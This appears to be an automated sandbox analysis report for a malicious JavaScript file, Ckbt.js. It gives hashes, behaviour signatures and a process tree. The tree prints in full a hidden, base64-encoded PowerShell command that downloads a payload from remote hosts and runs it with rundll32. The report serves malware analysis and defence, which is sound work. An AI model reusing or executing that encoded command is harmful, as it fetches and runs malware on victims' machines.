Analysis
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max time kernel
90s -
max time network
125s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
16/05/2023, 13:29
Static task
static1
Behavioral task
behavioral1
Sample
Ckbt.js
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
Ckbt.js
Resource
win10v2004-20230220-en
General
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Target
Ckbt.js
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Size
218KB
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MD5
5766bc8031a485df0b03b1dd15b82d3d
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SHA1
2cdf7ee78a24e06f9fd5d3e7d515bf60774c720f
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SHA256
eec2d6c95416d1ef00e5e37fbd36ae388a24bee4986cde2d9cfebf6d25263a95
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SHA512
4cc2b87bce4ff89e559792ecb944365cdb24afc622532bdf5756a5572a02449a999e6d9ebc96111d527c0e67465ee3c2bed25dd3996865f27e0892e5025e866c
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SSDEEP
1536:mDS8/yqz10JirHyPUGNjb03yySCpyzn4QrYO9PmJNxw5xUPKY0HdOSLLdmU+xcAm:t8aqz10DH8yQK4QrYO9PmNLx9xIr
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 15 3308 powershell.exe 20 3308 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation wscript.exe Key value queried \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3308 powershell.exe 3308 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3308 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4980 wrote to memory of 2008 4980 wscript.exe 79 PID 4980 wrote to memory of 2008 4980 wscript.exe 79 PID 2008 wrote to memory of 3308 2008 wscript.exe 80 PID 2008 wrote to memory of 3308 2008 wscript.exe 80
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Ckbt.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4980 -
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Ckbt.js" PercenterTrimotor patronne2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2008 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand "JABtAG8AbgBvAGMAaABhAHMAaQBhAE4AbwB0AGUAcABhAGQAIAA9ACAAIgBNAGUAcwBtAGUAcgBpAHoAYQBiAGwAZQBBAHIAYwBoAGUAcwBwAG8AcgBpAGEAIgA7ACQATwBtAG4AaQB2AGEAcgBpAG8AdQBzACAAPQAgADQAOQA0ADsAJABBAHIAcgB1AGEAZwB1AGUAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAGcAQQA1AEEAQwA0AEEATgBnAEEANQBBAEMANABBAE8AQQBBADQAQQBDADQAQQBNAFEAQQAxAEEARABJAEEARgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBOAFEAQQB4AEEAQwA0AEEATgBnAEEAdwBBAEMANABBAE0AUQBBADEAQQBEAEUAQQBMAGcAQQB5AEEARABNAEEATQBnAEEAPQAiADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAJABuAG8AbgBjAG8AbgB2AGUAcgB0AGkAYgBsAHkARABvAHcAYQBnAGUAcgBpAHMAbQAgAD0AIAAiAFUAbgBkAGUAcgBtAG8AdABpAG8AbgBCAG8AdABhAG4AaQB6AGUAZAAiADsAJABSAGUAYgByAHUAcwBoAEQAaQBwAGwAbwBnAGwAbwBzAHMAYQB0AGEAIAA9ACAANQAyADEAOwAkAE4AbwBuAHMAdwBpAG0AbQBlAHIAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAFEAQQB4AEEAQwA0AEEATgB3AEEAMgBBAEMANABBAE4AUQBBAHcAQQBDADQAQQBNAGcAQQAwAEEARABNAEEAdQBpAG0AUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAEoAQQBHAFEAQQBhAFEAQgB2AEEASABJAEEAYwBnAEIAbwBBAEgAawBBAGQAQQBCAG8AQQBHADAAQQBlAFEAQgBWAEEARwA0AEEAYwBnAEIAbABBAEcAYwBBAGMAZwBCAGwAQQBIAFEAQQBaAGcAQgAxAEEARwB3AEEATABnAEIAagBBAEgASQBBAGEAUQBCAGoAQQBHAHMAQQBaAFEAQgAwAEEAQQA9AD0AIgA7ACQAcwB1AHAAZQByAG8AcAB0AGkAbQBpAHMAdABVAHIAYQBsAGkAbgBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA1AEEARABFAEEATABnAEEAeABBAEQAawBBAE0AdwBBAHUAQQBEAFEAQQBNAHcAQQB1AEEARABFAEEATQBRAEEANQBBAEMAOABBAGQAQQBCAE8AQQBHAFkAQQBMAHcAQgBwAEEARQBvAEEAWgBRAEIAMABBAEgAUQBBAHEAZgBhAFEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAzAEEARABjAEEATABnAEEANQBBAEQARQBBAEwAZwBBADQAQQBEAFkAQQBMAGcAQQB4AEEARABJAEEATQBnAEEAdgBBAEYAWQBBAGIAQQBCAHcAQQBGAFEAQQBMAHcAQgBDAEEARQB3AEEAUgBBAEIAaQBBAEUASQBBAFoAZwBCAG0AQQBBAD0APQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABjAG8AbgBzAHQAaQB0AHUAdABlAFAAaQBsAGkAZQBzACAAaQBuACAAJABzAHUAcABlAHIAbwBwAHQAaQBtAGkAcwB0AFUAcgBhAGwAaQBuAGUAIAAtAHMAcABsAGkAdAAgACIAcQBmAGEAUQAiACkAIAB7ACQAbABpAHQAdABsAGUAbgBlAGMAawAgAD0AIAAyADgAMgA7ACQAQwByAHkAcAB0AG8AZwByAGEAbQBtAGkAYwAgAD0AIAA1ADUANgA7ACQAQgBlAHMAdABlAGEAbAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdwBBAEcARQBBAGIAQQBCAGgAQQBIAEUAQQBkAFEAQgBwAEEASABVAEEAYgBRAEIARABBAEcAOABBAGIAQQBCADEAQQBHADAAQQBZAGcAQgBwAEEARwBVAEEAYwBnAEEAdQBBAEcAdwBBAGEAUQBCAG0AQQBHAFUAQQAiADsAdAByAHkAIAB7ACQAUgBlAGEAYgBzAG8AcgBiAFMAdQBwAGUAcgBjAG8AbgBmAGkAcgBtAGEAdABpAG8AbgAgAD0AIAAiAFAAcgBvAHAAYQBnAHUAbABlACIAOwAkAEkAZABlAG4AdABpAGMAIAA9ACAANwA3ADcAOwAkAHMAbgBvAGIAYgBpAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABjAG8AbgBzAHQAaQB0AHUAdABlAFAAaQBsAGkAZQBzACkAKQA7AGkAdwByACAAJABzAG4AbwBiAGIAaQBzAGgAIAAtAE8AIABDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABXAGEAdgBpAHIAYQBQAGgAYQBuAHQAbwBtAHMALgBDAHUAYwB1AG0AYgBlAHIAOwAkAHIAZQBmAHIAYQBjAHQAaQB2AGUAbAB5AEIAcgBvAGMAaABvACAAPQAgACIAUwBoAGUAaABpAHQAYQBIAGUAdABlAHIAbwBkAHIAbwBtAHkAIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABXAGEAdgBpAHIAYQBQAGgAYQBuAHQAbwBtAHMALgBDAHUAYwB1AG0AYgBlAHIAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAxADMANAA3ADMANQApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAVgB3AEIAaABBAEgAWQBBAGEAUQBCAHkAQQBHAEUAQQBVAEEAQgBvAEEARwBFAEEAYgBnAEIAMABBAEcAOABBAGIAUQBCAHoAQQBDADQAQQBRAHcAQgAxAEEARwBNAEEAZABRAEIAdABBAEcASQBBAFoAUQBCAHkAQQBDAHcAQQBjAEEAQgB5AEEARwBrAEEAYgBnAEIAMABBAEQAcwBBAFYAZwBCADEAQQBHAFUAQQBTAGcAQgBUAEEAQQA9AD0AIgA7ACQAVQBuAHAAcgBlAGMAZQBkAGUAbgB0AGUAZAAgAD0AIAAiAEMAbwBuAGQAZQBuAHMAaQBuAGcAUABhAHQAZQByAG4AYQBsAGkAcwB0AGkAYwAiADsAJABpAHIAcgBlAGcAYQByAGQAbABlAHMAcwAgAD0AIAA1ADMAOAA7AGIAcgBlAGEAawA7AFYAdQBlAEoAUwA7AH0AVgB1AGUASgBTADsAfQAgAGMAYQB0AGMAaAAgAHsAJABUAGEAcgBhAGQAaQBkAGQAbABlAEEAbgB0AGkAcwBlAHIAdQBtAHMAIAA9ACAAMwA4ADQAOwAkAHUAbAB0AHIAYQBzAFMAZQBsAGUAbgBpAHQAaQBmAGUAcgBvAHUAcwAgAD0AIAA5ADkAOwAkAHMAaQBuAGcAdQBsAGEAcgBsAHkAIAA9ACAANAA3ADIAOwB9AH0AJABBAGUAcgBvAGcAdQBuACAAPQAgADgAMAA4ADsA"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3308
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82